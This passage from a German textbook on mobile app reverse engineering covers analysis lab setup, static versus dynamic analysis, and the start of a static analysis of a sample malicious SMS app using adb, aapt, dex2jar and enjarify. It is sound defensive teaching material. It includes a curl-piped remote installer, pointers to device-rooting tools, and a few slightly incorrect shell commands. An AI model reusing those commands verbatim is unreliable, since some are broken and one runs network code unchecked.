sollen aber keinesfalls den Eindruck erwecken, als wären dies die einzigen<br />
Möglichkeiten, wie eine optimale Laborumgebung auszusehen hat.<br />
Für alle Laborumgebungen gilt jedoch, dass man sich grob an das in Abbildung<br />
1–9 gezeigte Netzwerklayout halten sollte. Dieses ist besonders dann<br />
wichtig, wenn es auch darum geht, zu überprüfen, wie eine Applikation mit dem<br />
Internet und möglichen Backend-Servern kommuniziert und welche Daten dort<br />
versendet werden (Kapitel 9 bietet die entsprechenden Details und Angriffe zu<br />
diesem Bereich der Analyse). Dabei müssen nicht alle Komponenten physisch separiert<br />
vorhanden sein (wie auf der Abbildung angedeutet), sondern können auch<br />
mittels Software implementiert oder auf einem Gerät kombiniert eingesetzt werden.<br />
Ein Minimal-Setup wäre z. B. ein Wi-Fi-fähiger Analyserechner, der mittels<br />
Software einen Proxy implementiert und das Smartphone mit der zu analysierenden<br />
Applikation per USB verbunden hat.<br />
1.6.1 Laborumgebung für Android-Analysen<br />
In diesem Abschnitt wird kurz auf die wichtigsten Pakete und Einstellungen eingegangen,<br />
die auf einem klassischen Analyserechner vorhanden sein sollten, wenn<br />
es um die Analyse von Android und dessen Applikationen geht. Schauen wir uns<br />
zunächst die Grundpakete an, die das verwendete Linux OS in die Lage versetzen,<br />
die in den Kapiteln 3 und 4 gezeigten Tools ausführen zu können. Im Anschluss<br />
werde ich noch kurz zeigen, wie man einen Emulator einrichtet, da dies im Verlauf<br />
des Buches an einigen Stellen hilfreich ist.
32 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Abb. 1–9: Schematisches Netzwerklayout der Laborumgebung<br />
Einrichten der Bibliotheken und das OS<br />
Da viele der später verwendeten Tools für Linux oder UNIX-ähnliche Systeme<br />
entwickelt wurden, empfehle ich, auch ein solches OS für die Analyseumgebung<br />
zu wählen. Für Einsteiger in die Linux-Welt eignet sich eine aktuelle LTS-Version<br />
(Long Term Support) von Ubuntu. Zum aktuellen Zeitpunkt ist die neueste Version<br />
16.04, die voraussichtlich bis April 2021 mit Updates unterstützt wird. Der<br />
Download hierfür findet sich unter http://www.ubuntu.com/download/desktop.<br />
Alternativ kann aber auch hier ein Mac-OS-X-System zur Anwendung kommen.<br />
Um Android-Applikationen zu erstellen, einem Reversing zu unterziehen oder<br />
auch um einen Emulator zu konfigurieren, ist es essenziell, eine Entwicklungsumgebung<br />
auf dem frisch installierten Linux OS einzurichten. Die Basis hierbei bietet<br />
das Java Development Kit (JDK), das die passende Java Runtime Umgebung<br />
(JRE) beinhaltet. Hierzu befolgen Sie einfach die folgenden Schritte:<br />
1. Download der JDK-7-Umgebung unter http://www.oracle.com/technetwork/<br />
java/javase/downloads/index.html oder per Paketmanager<br />
2. Sollten Sie die Installation manuell durchgeführt haben und nicht per Paketmanager,<br />
so müssen die Pfade noch angepasst werden, damit die Tools später<br />
auch die nötigen Bibliotheken finden können. Dies geschieht mit folgenden<br />
Befehlen:
1.6 Eine Laborumgebung erstellen 33<br />
$: vi ~/.bashrec<br />
$: export Java_HOME='/usr/libexec/java_home -v 1.7'<br />
Codebeispiel 1–4: Anpassung des Java_HOME-Pfades<br />
3. Da wir nun alle wichtigen Bibliotheken und Laufzeitumgebungen installiert<br />
haben, kommen wir zum Herzen der Android-Umgebung, dem Android Development<br />
Tools (ADT). Dies kann unter http://developer.android.com/sdk/<br />
index.html heruntergeladen werden.<br />
4. Nach dem erfolgreichen Download muss das Paket entpackt werden und die<br />
Pfade zu den neu erstellten Verzeichnissen tools und platform-tools, wie bereits<br />
bei den Java-Umgebungen der Pfadvariablen, hinzugefügt werden.<br />
Abb. 1–10: Übersicht der Android-SDK-Komponenten und -Updates<br />
5. Im Anschluss daran sollten noch mithilfe des android-Befehls die neuesten<br />
Updates und fehlende Android-Bibliotheken nachgeladen werden (siehe dazu<br />
auch Abbildung 1–10).<br />
6. Nachdem wir nun alle wichtigen Komponenten installiert und eingerichtet<br />
haben, können wir das erste Testsystem starten. Mehr dazu im folgenden<br />
Abschnitt.<br />
Wer diese Schritte nicht alle selbst durchgehen möchte oder sich lieber auf eine<br />
für diesen Zweck spezialisierte Umgebung verlassen möchte, kann auch auf<br />
angepasste Betriebssysteme wie z. B. Santoku Linux4 zurückgreifen.<br />
4 Santoku Linux: https://santoku-linux.com/
34 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Erstellung eines Android-Emulators<br />
Für viele der Aufgaben, die im Laufe der Kapitel erläutert werden, aber auch für<br />
die tägliche Arbeit mit Android-Malware ist es wichtig, dass man verschiedene<br />
Testsysteme zur Hand hat. Das wird aber schnell teuer, wenn man jedes System<br />
und jede Android-Version in echter Hardware zur Verfügung haben möchte.<br />
Hier kann der Android-Emulator dazu beitragen, eine hohe Abdeckung an realitätsnahen<br />
Systemen zur Verfügung zu haben, ohne zu tief in die Tasche greifen<br />
zu müssen.<br />
Im Folgenden wird kurz gezeigt, wie man einen Android-Emulator einrichtet:<br />
1. Beginnen werden wir wieder mit dem Aufruf der Android-ADT-Umgebung<br />
mithilfe des Befehls android.<br />
2. Im darauffolgenden Fenster klicken wir auf Tools, dort auf Manage AVDs. . .<br />
und dann auf create.<br />
3. Das nun erscheinende Fenster füllen wir, wie in Abbildung 1–11 gezeigt, aus.<br />
Wichtig hierbei ist, dass der AVD Name keine Leerzeichen oder Sonderzeichen<br />
enthält, da dieser später per Kommandozeile aufgerufen werden muss.<br />
4. Nach einem Klick auf OK ist der Emulator fertig erstellt und es wird nochmals<br />
eine Zusammenfassung des erzeugten Emulators angezeigt.<br />
Abb. 1–11: Fenster zur Konfiguration eines Android-Emulators
1.6 Eine Laborumgebung erstellen 35<br />
5. Den so erstellten Emulator können wir nun mit folgendem Befehl starten<br />
(beim ersten Start des Emulators kann es mehrere Minuten – bis zu 10 –<br />
dauern, bis der Emulator einsatzbereit ist): emulator -avd TestAVD.<br />
1.6.2 Laborumgebung für iOS-Analysen<br />
In diesem Abschnitt wird kurz auf die wichtigsten Pakete und Einstellungen eingegangen,<br />
die auf einem klassischen Analyserechner vorhanden sein sollten, wenn<br />
es um die Analyse von iOS und dessen Applikationen geht.<br />
Für die Analyse von iOS-Applikationen eignet sich am besten ein Rechner mit<br />
Mac OS X. Auf diesem Rechner benötigen wir dann eigentlich nur noch Xcode –<br />
inklusive der zugehörigen Kommandozeilentools – und Brew.<br />
Sobald wir die aktuellste Version von Xcode aus dem Mac App Store installiert<br />
haben, müssen wir noch die Kommandozeilentools nachinstallieren. Dies<br />
können wir durch Eingabe des Befehls xcode-select -install starten. Es sollte<br />
nun ein neues Fenster erscheinen, das uns durch die Installation der Kommandozeilentools<br />
führt.<br />
Als zweites wichtiges Werkzeug benötigen wir noch Brew5 . Dies ist ein alternativer<br />
Paketmanager unter Mac OS X, der es uns erlaubt, Pakete für die Kommandozeile<br />
zu installieren. Die Installation von Brew führen wir wie folgt durch<br />
(siehe Codebeispiel 1–5):<br />
# Download und Installation von Brew:<br />
$: ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/<br />
master/install)"<br />
# Laden der aktuellsten Paketquellen und Versionshinweise:<br />
$: brew update<br />
# Updaten aller bereits installierten Pakete:<br />
$: brew upgrade<br />
Codebeispiel 1–5: Installation von Brew<br />
Die Installation und Konfiguration aller weiteren Pakete und Tools – die in den<br />
Kapiteln 5 und 6 verwendet werden – wird jeweils bei der ersten Verwendung<br />
beschrieben.<br />
5 Brew: http://brew.sh/
36 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Abb. 1–12: Windows Phone Internals 1.2<br />
1.6.3 Laborumgebung für Windows Phone-Analysen<br />
Zur Analyse von Windows-10-<strong>Mobile</strong>-Endgeräten und deren Applikationen benötigen<br />
wir einen Rechner mit Windows 10 (Windows 7 verursacht hin und wieder<br />
Probleme). Die meisten wichtigen Komponenten – wie z. B. Treiber – werden<br />
vom System automatisch installiert, sobald wir unser Analysetelefon anschließen,<br />
daher brauchen wir uns hierum nicht separat zu kümmern.<br />
Als weitere Werkzeuge benötigen wir noch die Windows Phone Internals6<br />
und das Windows 10 SDK7 . Diese Tools erlauben es uns, bestimmte Endgeräte<br />
zu rooten, um tieferen Zugriff auf das Gerät und die darauf installierten Applikationen<br />
zu bekommen (siehe Abbildung 1–12), und installieren alle nötigen<br />
Bibliotheken, die diese und andere später gezeigte Werkzeuge verwenden.<br />
Sollten die Windows Phone Internals nicht zum Erfolg führen, gibt es eine<br />
sehr gute und ständig aktualisierte Anleitung zum Rooten der Windows-10-<br />
<strong>Mobile</strong>-Endgeräte im xda-developers-Forum8 .<br />
6 Windows Phone Internals: http://www.wpinternals.net/index.php/downloads<br />
7 Windows 10 SDK: https://developer.microsoft.com/de-de/windows/downloads/<br />
windows-10-sdk<br />
8 xda-developers: http://forum.xda-developers.com/windows-10/windows-10-mobile/<br />
guide-filesystem-access-sftp-windows-10-t3185766
1.7 Zusammenfassung und Ausblick 37<br />
1.7 Zusammenfassung und Ausblick<br />
In diesem Kapitel ging es im Wesentlichen um zwei Themen: die Einführung in<br />
die verschiedenen Systeme und den Aufbau ihrer Applikationen sowie der nötigen<br />
Laborumgebungen, um sie zu analysieren (Abschnitte 1.1 bis 1.3 sowie<br />
Abschnitt 1.6), aber auch um das Aufzeigen der generellen Probleme, die in einer<br />
solchen Applikation verborgen sein können (siehe dazu die Abschnitte 1.4<br />
und 1.5).<br />
Im folgenden Kapitel 2 möchte ich noch kurz allgemein auf die Chancen und<br />
Risiken des Reversings eingehen, bevor wir dann gemeinsam an das eigentliche<br />
Analysieren der einzelnen Systeme in den Kapiteln 3 bis 8 gehen. Zum Abschluss<br />
greifen wir in Kapitel 9 noch die verschlüsselte Verbindung zwischen Applikation<br />
und deren Backend an und versuchen, an den Klartextinhalt zu gelangen.<br />
Auf die in diesem Buch gezeigte Weise können wir sehr gut ermitteln, wie<br />
sicher eine Applikation ist und wie sorgsam sie mit unseren kritischen Daten<br />
wirklich umgeht.
39<br />
2 Chancen und Risiken des Reversings<br />
In diesem kurzen Kapitel möchte ich einen Überblick über Analysemethoden<br />
geben und aufzeigen, wo ihre Stärken und Schwächen liegen. Dies ist für das<br />
allgemeine Verständnis der Thematik wichtig und hilft auch einzuschätzen, wie<br />
aufwendig gewisse Analysemethoden oder Angriffe sind. Dazu greife ich auf die<br />
Klassifizierung nach Bergeron et al. [2] zurück, nach der sich diese Analysemethoden<br />
im Wesentlichen in zwei Arten unterteilen lassen: statische und dynamische<br />
Analyse.<br />
2.1 Statische Analyse (Reversing)<br />
Der klassische Ansatz sowohl zur automatisierten wie auch zur manuellen Analyse<br />
ist die statische Analyse, auch Reversing genannt. Die statische Analyse betrachtet<br />
Softwareeigenschaften, die durch Überprüfen der heruntergeladenen Anwendung<br />
und ihres Quellcodes herausgefunden werden können. Bei diesem Vorgehen<br />
dekompilieren und zerlegen Analysetools oft Anwendungspakete und suchen<br />
im gesamten Quellcode nach bestimmten Mustern wie z. B. Berechtigungen,<br />
Funktionsaufrufe und hart codierte Variablen. All diese Verfahren haben gemeinsam,<br />
dass die verdächtige Anwendung nicht ausgeführt wird.<br />
Nach Moser et al. [11] liegt der große Vorteil der statischen Analyse darin,<br />
dass sie relativ einfach und schnell durchzuführen ist, wenn sie automatisiert<br />
erfolgt, z. B. im Rahmen von Muster- oder Signaturerkennung. Sie wird jedoch<br />
schnell aufwendig, wenn man diese Techniken manuell anwendet. Einer der<br />
Nachteile bei der automatisierten Anwendung ist, dass alle Muster im Voraus<br />
bekannt sein müssen. Dies macht es schwer, neue Malware oder polymorphen<br />
Code zu erkennen, ohne dass man einen menschlichen Experten oder Methoden<br />
maschinellen Lernens hinzuzieht. In der Praxis verwendet Malware Verschleierungstechniken<br />
(auch Obfuscation genannt), die die statische Analyse zusätzlich<br />
erschweren. Zudem werden oft Bestandteile des Quellcodes verschlüsselt, sodass<br />
es einem Analysten ohne Kenntnis des Schlüssels und des verwendeten Algorithmus<br />
unmöglich ist, den Quellcode zu entschlüsseln.<br />
Auf die manuelle statische Analyse – also das klassische Reverse Engineering<br />
– werden wir uns in den Kapiteln 3, 5 und 7 konzentrieren.
40 2 Chancen und Risiken des Reversings<br />
2.2 Dynamische Analyse<br />
Im Gegensatz zur statischen Analyse setzt die dynamische Analyse nicht auf das<br />
Inspizieren von Quellcode und die Mustersuche, sondern führt die Applikation<br />
in einer kontrollierten und vollständig überwachten Umgebung – auch Sandbox1<br />
genannt – aus.<br />
Auf die Android-Welt übertragen bedeutet dies, dass eine Sandbox eine Instanz<br />
des Android-OS ist, die das System so isoliert, dass die Malware an der<br />
Ausführung von schädlichen Aktionen für den Benutzer oder den Analyserechner<br />
gehindert wird. Durch die Überwachung und Protokollierung aller relevanten<br />
Ausführungen wird im Anschluss an die Ausführung vollautomatisiert ein<br />
Bericht mit allen interessanten Aktionen erstellt. In einem solchen Bericht kann<br />
ein Analyst beispielsweise ausgehende Datenverbindungen und Änderungen auf<br />
der Festplatte identifizieren, die durch die analysierte Applikation vorgenommen<br />
wurden.<br />
Der Vorteil der dynamischen Analyse ist hierbei, dass zur Laufzeit jeglicher<br />
Quellcode entschlüsselt und im Klartext vorliegt. Hierdurch sind die Probleme<br />
der statischen Analyse (Obfuscation und Codeverschlüsselung) umgangen und<br />
ein Analyst sieht mit wenig Aufwand, welche Aktionen die Applikation ausführt.<br />
Der Nachteil ist jedoch, dass diese Techniken auch für Autoren von Schadcode<br />
und Entwickler keine Neuheiten mehr sind. Gängige Sandboxen lassen sich zur<br />
Laufzeit erkennen und so kann ein Entwickler dafür sorgen, dass ein gewisses<br />
Verhalten nur auf einem echten und nicht überwachten Gerät ausgeführt wird.<br />
Ebenso ist die Ereignis-Abdeckung ein gravierender Punkt bei der dynamischen<br />
Analyse. Gibt es beispielsweise eine Methode innerhalb der Android-Applikation,<br />
die nur aufgerufen wird, wenn eine SMS-Nachricht mit einem gewissen Inhalt<br />
auf dem Gerät eingeht, so wird diese Aktion bei der Ausführung innerhalb einer<br />
Sandbox auch nur protokolliert, wenn eine solche Nachricht auch wirklich<br />
eingeht.<br />
Auf diese Art der Analyse werden wir in Abschnitt 4.2.1 und auch in Abschnitt<br />
6.3 tiefer eingehen.<br />
2.3 Vergleich der beiden Techniken<br />
Schon Moser et al. [11] haben im Jahre 2007 aufgezeigt, dass diese beiden Techniken<br />
massive Vor- und Nachteile haben. Dies hat sich bis heute, trotz jahrelanger<br />
Weiterentwicklung, nicht geändert.<br />
Hat sich ein Entwickler die Mühe gemacht und wichtige Codefragmente<br />
durch Obfuscation oder Verschlüsselung geschützt, so wird es bei einer manuellen<br />
Analyse sehr aufwendig, diesen Code wieder in einer lesbaren und analysierbaren<br />
1 Bishop [3] definiert eine solche Sandbox als »an environment in which the actions of<br />
a process are restricted according to a security policy«.
2.4 Schlussfolgerung 41<br />
Version zu erhalten. Zudem sorgt Obfuscation auch dafür, dass Techniken, die<br />
auf die Erkennung von Mustern oder Signaturen beruhen, sehr schnell falsche<br />
Ergebnisse liefern.<br />
Hier liegen die Vorteile der dynamischen Analyse, da sie Systemaufrufe mitschneidet,<br />
während sie durch die Applikation erzeugt werden, und zu diesem<br />
Zeitpunkt müssen die Aufrufe sowie die Werte der verwendeten Variablen unverschlüsselt<br />
und deobfuskiert sein. Ebenso ist es möglich, während einer solchen<br />
Analyse den Inhalt von Variablen zu verfolgen, um so festzustellen, was mit gewissen<br />
Werten über die Ausführungszeit der Applikation geschieht (wenn z. B.<br />
eine Applikation das Adressbuch des Telefons in eine Variable speichert, kann<br />
so festgestellt werden, ob die Inhalte dieser Variablen nachher das Telefon verschlüsselt<br />
verlassen oder nur intern verwendet werden).<br />
Leider hat aber auch diese Technik, wie bereits zuvor erwähnt, ihre Schwächen.<br />
Bekannte Analyseumgebungen ([9], [14], [17], [18] und [8]) können durch<br />
eine Applikation erkannt werden, sodass sie sich in diesem Fall harmlos verhalten<br />
kann und ein Analyst keine Erkenntnis über ihren wahren Funktionsumfang<br />
erhält. Oft wird es in der Realität jedoch gar nicht so kompliziert. Viele, vor allem<br />
schadhafte Applikationen führen ihr verdächtiges Verhalten erst aus, wenn<br />
gewisse äußere Umstände eintreten, die man bei der dynamischen Analyse nur<br />
selten erreicht. Hierzu zählen z. B. eine gewisse Dauer, die die Applikation läuft,<br />
oder nutzerbasierte Aktionen, wie das Eingehen eines Anrufes oder das Laden des<br />
Telefons.<br />
2.4 Schlussfolgerung<br />
Als Ergebnis aus den zuvor beschriebenen Analysemethoden und deren Vergleich<br />
bleibt einem Sicherheitsanalysten nur übrig, sich in beiden Analysemethoden auszukennen<br />
und diese clever zu kombinieren. Hierdurch kann er die Stärken von<br />
beiden Techniken verbinden und die Schwächen nahezu ausmerzen.
43<br />
3 Reversing von Android-Applikationen<br />
Nachdem in Kapitel 1 bereits die Grundstruktur einer Android-Applikation beschrieben<br />
wurde, wollen wir nun darauf eingehen, wie man verdächtige Applikationen<br />
untersuchen kann. Dabei werden wir in diesem Kapitel mit der manuelle<br />
Analyse mithilfe bekannter Tools wie beispielsweise dex2jar und JD-GUI beginnen<br />
und so demonstrieren, wie der Sicherheitsanalyst möglichst nahe an den<br />
eigentlichen Quellcode der Applikation kommt. Dies ist nötig, um genau nachvollziehen<br />
zu können, wie eine Applikation funktioniert und auf welche Ressourcen<br />
sie zugreift. Somit bildet dieses Kapitel die Basis für die in Kapitel 4 gezeigte<br />
Schwachstellensuche.<br />
3.1 Vorgehensweisen beim Reversing von<br />
Android-Applikationen<br />
Bei der statischen Analyse einer Android-Applikation gibt es ein gutes Muster,<br />
nach dem man vorgehen kann, um erste Anhaltspunkte über die Funktionen einer<br />
Applikation herauszufinden:<br />
1. Beschaffen der zu untersuchenden Applikation<br />
2. Entpacken der apk-Datei (gepackte Android-Applikation)<br />
3. Auslesen des Android-Manifests<br />
4. Übersetzen des Dalvik-Bytecodes in Java-Bytecode<br />
5. Umwandeln des Java-Bytecodes in herkömmlichen Java-Code oder sogenannte<br />
Zwischendarstellungssprachen wie Jimple oder smali<br />
6. Analysieren des so generierten Codes<br />
Diesem Muster wollen wir nun auch folgen und anhand unserer malware.apk –<br />
eine bösartige Android-Applikation – eine statische Analyse durchführen. Dies<br />
ist eine eher einfache Android-Applikation, die sich jedoch sehr schön zur Veranschaulichung<br />
der Werkzeuge und Arbeitsabläufe eignet. Abbildung 3–1 zeigt<br />
hierbei den zuvor beschriebenen Weg und wo man als Analyst durch den Einsatz<br />
von in Abschnitt 3.4 gezeigten Tools eine Abkürzung gehen kann.
44 3 Reversing von Android-Applikationen<br />
JADx-GUI / Androguard / Codeinspect<br />
adb pull<br />
Smartphone<br />
apk-Datei<br />
unzip<br />
aapt<br />
extrahierte<br />
apk-Datei<br />
AndroidManifest<br />
(original)<br />
dex2jar / enjarify<br />
baksmali<br />
JD-GUI<br />
AndroidManifest<br />
(lesbar)<br />
Dalvik-Bytecode<br />
(dex-Datei)<br />
Java-Bytecode<br />
(jar-Datei)<br />
(Java, Jimple, smali)<br />
Abb. 3–1: Darstellung der Vorgehensweisen beim Reversing von Android-Applikationen<br />
3.2 Beschaffen der zu untersuchenden Applikation<br />
Der wichtigste Punkt des Reversings liegt noch vor dem eigentlichen Ablauf: Der<br />
Analyst muss in Besitz der Applikation gelangen, die er analysieren möchte. Dies<br />
kann über den Google Play Store und eine manipulierte API1 geschehen, oder<br />
durch Extraktion vom Mobiltelefon selbst. Im Folgenden wird der zweite Weg<br />
gezeigt.<br />
Möchten wir also die Malware-Applikation extrahieren, so rufen wir den<br />
PackageManager von Android auf und suchen darüber nach unserer Applikation:<br />
$: adb shell pm list packages | grep magicsms<br />
package: com.magicsms.own<br />
Codebeispiel 3–1: Auflistung der installierten Applikationen und Suche nach MagicSMS<br />
Nachdem wir nun den genauen Namen des Android-Paketes wissen, das zu dieser<br />
Applikation gehört, können wir auf die Suche nach der Applikation gehen. Hierzu<br />
können wir wieder den PackageManager von Android wie folgt verwenden:<br />
$: adb shell pm path com.magicsms.own<br />
package: /data/app/com.magicsms.own-1.apk<br />
Codebeispiel 3–2: Suche nach der MagicSMS-Applikation auf dem Android-Smartphone<br />
1 Google Play Store API: https://github.com/egirault/googleplay-api
3.3 Analysieren des Android-Manifests und Entpacken der Applikation 45<br />
Mit diesen Daten können wir uns nun die apk-Datei auf den Analyserechner<br />
kopieren:<br />
$: adb pull /data/app/com.magicsms.own-1.apk malware.apk<br />
Codebeispiel 3–3: Extraktion der MagicSMS-Applikation und Sicherung unter dem neuen Namen<br />
malware.apk<br />
Möchte man eine Applikation aus einem Google Store, der außerhalb der eigenen<br />
Region liegt, analysieren und hat man diese Applikation auf keinem der Testgeräte<br />
installiert, so gibt es Webseiten, die in der Lage sind, auch Applikationen aus<br />
anderen Ländern oder Bereichen zu beschaffen. Dazu gehören u. a.:<br />
■<br />
■<br />
http://apkleecher.com/<br />
https://apps.evozi.com/apk-downloader/<br />
3.3 Analysieren des Android-Manifests und<br />
Entpacken der Applikation<br />
Um mit der Analyse einer Android-Applikation nach dem zuvor beschriebenen<br />
Muster zu starten, sind Werkzeuge nötig, die aus dem Android-SDK und dem<br />
Betriebssystem stammen. Im Wesentlichen sind dies aapt und unzip.<br />
Zuerst betrachten wir das Android-Manifest unserer Applikation, um zu sehen,<br />
welche Berechtigungen die Applikation bei der Installation vom Nutzer anfragt<br />
und wo der richtige Einsprungpunkt für die weitere Analyse ist. Die angeforderten<br />
Berechtigungen erhalten wir mit folgendem Aufruf von aapt:<br />
$: aapt d permissions malware.apk<br />
package: com.magicsms.own<br />
uses-permission: name='android.permission.SEND_SMS'<br />
uses-permission: name='android.permission.RECEIVE_SMS'<br />
uses-permission: name='android.permission.ACCESS_GPS'<br />
uses-permission: name='android.permission.ACCESS_LOCATION'<br />
Codebeispiel 3–4: Auflistung der angeforderten Berechtigungen mithilfe von aapt<br />
Anhand dieser Ausgabe sehen wir, dass die Applikation an den Lokalisierungsdaten<br />
des Mobiltelefons interessiert ist (ACCESS_GPS sowie ACCESS_LOCATION)<br />
und zusätzlich die Rechte hat, um SMS zu lesen (RECEIVE_SMS) und zu versenden<br />
(SEND_SMS). Da die Applikation keine weiteren Berechtigungen besitzt, ist<br />
das schon sehr verdächtig. Denn selbst eine Applikation, die als Ersatz für die
46 3 Reversing von Android-Applikationen<br />
eingebaute SMS-Applikation gilt und daher die Berechtigungen zum Lesen und<br />
Senden von SMS-Nachrichten besitzen muss, benötigt zusätzlich noch die Berechtigung<br />
zum Lesen der Kontakte (READ_CONTACTS), da sie sonst keinen<br />
Zugriff auf Telefonnummern des Nutzers hat. Um nun etwas mehr über die Applikation<br />
zu erfahren, suchen wir nach den Einsprungpunkten und lassen uns<br />
hierfür das gesamte Manifest anzeigen:<br />
$: aapt d xmltree malware.apk AndroidManifest.xml<br />
E: activity (line=16)<br />
A: android:label(0x01010001)=@0x7f040001<br />
A: android:name(0x01010003)=".MagicSMSActivity" (Raw:<br />
".MagicSMSActivity")<br />
E: intent-filter (line=17)<br />
A: android:priority(0x0101001c)=(type 0x10)0x64<br />
E: action (line=18)<br />
A: android:name(0x01010003)="android.intent.action.MAIN" (Raw:<br />
"android.intent.action.MAIN")<br />
E: category (line=19)<br />
A: android:name(0x01010003)="android.intent.category.LAUNCHER"<br />
(Raw: "android.intent.category.LAUNCHER")<br />
E: receiver (line=21)<br />
A: android:name(0x01010003)=".receiver.SMSReceiver" (Raw:<br />
".receiver.SMSReceiver")<br />
A: android:enabled(0x0101000e)=(type 0x12)0xffffffff<br />
C: "\n- "<br />
E: intent-filter (line=22)<br />
A: android:priority(0x0101001c)=(type 0x10)0x64<br />
E: action (line=23)<br />
A: android:name(0x01010003)="android.provider.Telephony.<br />
SMS_RECEIVED" (Raw: "android.provider.Telephony.SMS_RECEIVED")<br />
Codebeispiel 3–5: Ausgabe des gesamten Manifests einer Android-Applikation mittels aapt<br />
In diesem Auszug sehen wir, dass die Main-Activity – darunter versteht man die<br />
Benutzeroberfläche der Applikation, die gestartet wird, wenn der Nutzer die Applikation<br />
über einen Klick auf das Icon öffnet – MagicSMSActivity heißt. Dies ist<br />
daran zu erkennen, dass sie die action MAIN zugewiesen hat. Zudem sehen wir,<br />
dass bei jeder eingehenden SMS-Nachricht auf dem Telefon der folgende Receiver<br />
innerhalb der Applikation angesteuert wird: receiver.SMSReceiver.<br />
Diese beiden Punkte sind ideal, um die Analyse des Quellcodes zu beginnen.<br />
Zur weiteren Analyse müssen wir die apk-Datei entpacken, um so an den Dalvik-
3.4 Werkzeuge zum Analysieren der Applikationen 47<br />
Bytecode zu gelangen. Hierfür verwenden wir ganz herkömmlich Werkzeuge des<br />
Betriebssystems, auf dem wir arbeiten. In diesem Fall unzip:<br />
$: unzip malware.apk<br />
Archive: malware.apk<br />
signed by SignApk<br />
inflating: META-INF/MANIFEST.MF<br />
inflating: META-INF/CERT.SF<br />
inflating: META-INF/CERT.RSA<br />
inflating: AndroidManifest.xml<br />
inflating: classes.dex<br />
extracting: res/drawable-hdpi-v4/icon.png<br />
extracting: res/drawable-ldpi-v4/icon.png<br />
extracting: res/drawable-mdpi-v4/icon.png<br />
inflating: res/layout/main.xml<br />
inflating: resources.arsc<br />
Codebeispiel 3–6: Entpacken der Android-Applikation<br />
Um aus dem Dalvik-Bytecode, der in der Datei classes.dex gespeichert ist, den<br />
Java-Bytecode zu erhalten, müssen wir weitere Tools verwenden, auf die wir im<br />
Folgenden eingehen.<br />
3.4 Werkzeuge zum Analysieren der Applikationen<br />
Die im Folgenden gezeigten Werkzeuge folgen im Hintergrund immer der zu Beginn<br />
des Kapitels vorgestellten Reihenfolge, jedoch können einige von ihnen mehrere<br />
dieser Schritte automatisch im Hintergrund ausführen. Je nach zu analysierender<br />
Applikation kann es sinnvoll sein, mehrere dieser Tools zu verwenden, da<br />
sie alle ihre Vor- und Nachteile haben, die man meist erst während der Analyse<br />
feststellt.<br />
3.4.1 dex2jar<br />
Wie wir bereits aus den vorangegangenen Abschnitten wissen, ist der eigentliche<br />
Code einer Applikation nicht im Klartext vorhanden, wenn man die apk-Datei<br />
entpackt. Da es für eine aussagekräftige Analyse einer verdächtigen Applikation<br />
sehr wichtig ist, möglichst nahe an den ursprünglichen Code einer Applikation<br />
zu gelangen (oder an eine andere interpretierbare Form des Quellcodes), werden<br />
häufig kostenlose und gut gepflegte Tools wie dex2jar2 eingesetzt.<br />
2 dex2jar: https://github.com/pxb1988/dex2jar
48 3 Reversing von Android-Applikationen<br />
Das Tool dex2jar versucht, den Dalvik-Bytecode zurück in Java-Bytecode zu<br />
übersetzen, um so die weitere Analyse mit Werkzeugen zu ermöglichen, die schon<br />
seit Jahrzehnten für diesen Zweck verwendet werden. Hierzu zählt unter anderem<br />
das Programm JD-GUI – ein grafischer Decompiler für Java-Bytecode –, das in<br />
einem der folgenden Abschnitte ebenfalls demonstriert wird.<br />
Zum Anstoßen dieser Bytecode-Übersetzung benötigen wir die Datei<br />
classes.dex aus der entpackten Android-Applikation sowie den folgenden Befehl:<br />
$: dex2jar.sh classes.dex<br />
dex2jar version: translator-0.0.9.15<br />
dex2jar classes.dex -> classes_dex2jar.jar<br />
Done.<br />
Codebeispiel 3–7: Übersetzen des Dalvik-Bytecodes in Java-Bytecode mittels dex2jar<br />
Als Ergebnis der Übersetzung erhalten wir im Idealfall eine Datei namens<br />
classes_dex2jar.jar. Diese Datei enthält nun den Java-Bytecode der zu analysierenden<br />
Applikation.<br />
Leider gibt es immer wieder Methoden oder ganze Klassen, die dex2jar nicht<br />
in Java-Bytecode übersetzen kann. An diesem Punkt kann der Analyst auf Tools<br />
wie enjarify oder smali ausweichen. Der Grund für diese Probleme ist recht einfach:<br />
Da sehr viel Wissen und geistiges Eigentum (engl. Intellectual Property) in<br />
diesen mobilen Applikationen enthalten ist, versuchen die Hersteller, ein Analysieren<br />
möglichst komplex zu gestalten, um den Nachbau einer Konkurrenzapplikation<br />
zu verhindern oder zumindest zu erschweren. Dies gelingt ihnen u. a. durch<br />
den Einsatz sogenannter Obfuscation-Techniken, die von einfachem Verschleiern<br />
von Quellcode-Bestandteilen bis hin zum Auslösen von Fehlern in Werkzeugen<br />
wie dex2jar eine Vielzahl an Funktionen besitzen.<br />
3.4.2 enjarify<br />
Wie auch schon bei dex2jar handelt es sich bei enjarify3 um ein Werkzeug zur<br />
Übersetzung von Dalvik-Bytecode in Java-Bytecode. Der Vorteil von enjarify<br />
gegenüber dex2jar liegt im Wesentlichen darin, dass es gepflegt und weiterentwickelt<br />
wird und somit konstant auf dem neuesten Stand ist. Hinzu kommen<br />
noch die Unterstützung für Klassennamen mit Unicode-Zeichen und die korrekte<br />
Handhabung von sehr langen Methoden, die bei dex2jar zu Fehlern oder im<br />
schlimmsten Fall zu Abstürzen geführt haben. Doch auch enjarify ist nicht frei<br />
von Fehlern oder Problemen, daher ist es beim Reversing immer wichtig, dass<br />
man mehrere Werkzeuge in seiner Toolchain hat, die man für einen gewissen<br />
Zweck verwenden kann.<br />
3 enjarify: https://github.com/google/enjarify
3.4 Werkzeuge zum Analysieren der Applikationen 49<br />
Zum Anstoßen dieser Bytecode-Übersetzung benötigen wir entweder wieder<br />
die Datei classes.dex aus der entpackten Android-Applikation oder einfach nur<br />
die apk-Datei sowie den folgenden Befehl:<br />
$: enjarify.sh [classes.dex|malware.apk]<br />
Using python3 as Python interpreter<br />
8 classes processed<br />
Output written to classes-enjarify.jar<br />
8 classes translated successfully, 0 classes had errors<br />
Codebeispiel 3–8: Übersetzen des Dalvik-Bytecodes in Java-Bytecode mittels enjarify<br />
Als Ergebnis der Übersetzung erhalten wir im Idealfall eine Datei namens classesenjarify.jar.<br />
Diese Datei enthält den Java-Bytecode unserer zu analysierenden<br />
Applikation und wir können wieder, wie schon zuvor bei dex2jar, mit unserem<br />
